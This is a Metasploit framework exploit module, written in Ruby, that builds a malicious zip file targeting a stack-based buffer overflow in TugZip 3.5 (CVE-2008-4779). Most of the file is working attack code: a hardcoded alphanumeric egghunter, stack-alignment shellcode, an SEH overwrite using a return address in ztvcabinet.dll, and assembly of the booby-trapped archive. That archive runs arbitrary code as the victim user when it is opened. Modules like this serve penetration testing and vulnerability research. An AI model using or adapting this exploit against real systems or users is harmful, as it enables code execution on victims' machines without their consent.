##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability
        in the latest version 3.5 of TugZip archiving utility.
        In order to trigger the vulnerability, an attacker must convince someone
        to load a specially crafted zip file with TugZip by double click or file open.
        By doing so, an attacker can execute arbitrary code as the victim user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Stefan Marin', # Vulnerability discovery
          'Lincoln', # Corelan team. Original exploit
          'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
          'mr_me <steventhomasseeley[at]gmail.com>',  # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '49371' ],
          [ 'CVE', '2008-4779' ],
          [ 'BID', '31913' ],
          [ 'EDB', '12008' ]
        ],
      'Platform'       => [ 'win' ],
      'Payload'        =>
        {
          'BadChars'      => "\x00\x0f\x14\x15\x2f" + (0x80..0xff).to_a.pack('C*'),
          'DisableNops'   => true, # no need
          'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
          'EncoderOptions' =>
            {
              'BufferRegister' => 'EDI', # Egghunter jmp EDI
            }
        },

      'Targets'        =>
        [
          [
            'Universal',
            {
              'Ret'    => 0x7e0c307e,
              # 5.00.2147.1 [ztvcabinet.dll]
              # POP EBX > POP EBP > RETN
              'Offset' => 372, # to nseh
            }
          ],
        ],
      'DisclosureDate' => 'Oct 28 2008',
      'DefaultTarget'  => 0))

      register_options(
      [
        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
      ], self.class)

  end

  def exploit

    # Hardcoded egghunter due to size limit (before nseh destroyed/130D past seh of usable bytes)
    # base register ESI
    hunter = "VYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIK9Jzs"
    hunter << "rbrRJuRRxzmvNWLWuQJt4ZOnXPwtpTpQdLKJZLoPuzJNO3EXgkOJGA"
    eggtag = 'w00t' * 2

    getpc_asm = %q{
      popad
      popad
      popad
      popad
      popad
      pop ebx
    }

    # Align EBX for hunter
    alignment = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string

    # Align for ESI + factoring mangled chars
    alignment << "\x89\x05"              # jmp short (5 bytes) to 'jmp back' at end
    alignment << "\x5e"                  # pop esi
    alignment << "\x41"                  # nop (inc ecx)
    alignment << "\x98\x99"              # call esi
    alignment << "\x41"                  # nop (inc ecx)
    alignment << "\x8a\x94\x98\x98\x98"  # jmp back to pop esi

    getpc_asm = %q{
      popad
      pop esp
      inc eax
      inc eax
    }

    # Realign stack pointer
    nseh = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string

    seh = [target.ret].pack("V*")

    sploit = rand_text_alpha(target['Offset'])
    sploit << nseh << seh
    sploit << alignment
    sploit << hunter
    sploit << eggtag << payload.encoded

    zip = Rex::Zip::Archive.new
    xtra = [0xdac0ffee].pack('V')
    comment = [0xbadc0ded].pack('V')
    zip.add_file(sploit, xtra, comment)

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(zip.pack)
  end

end
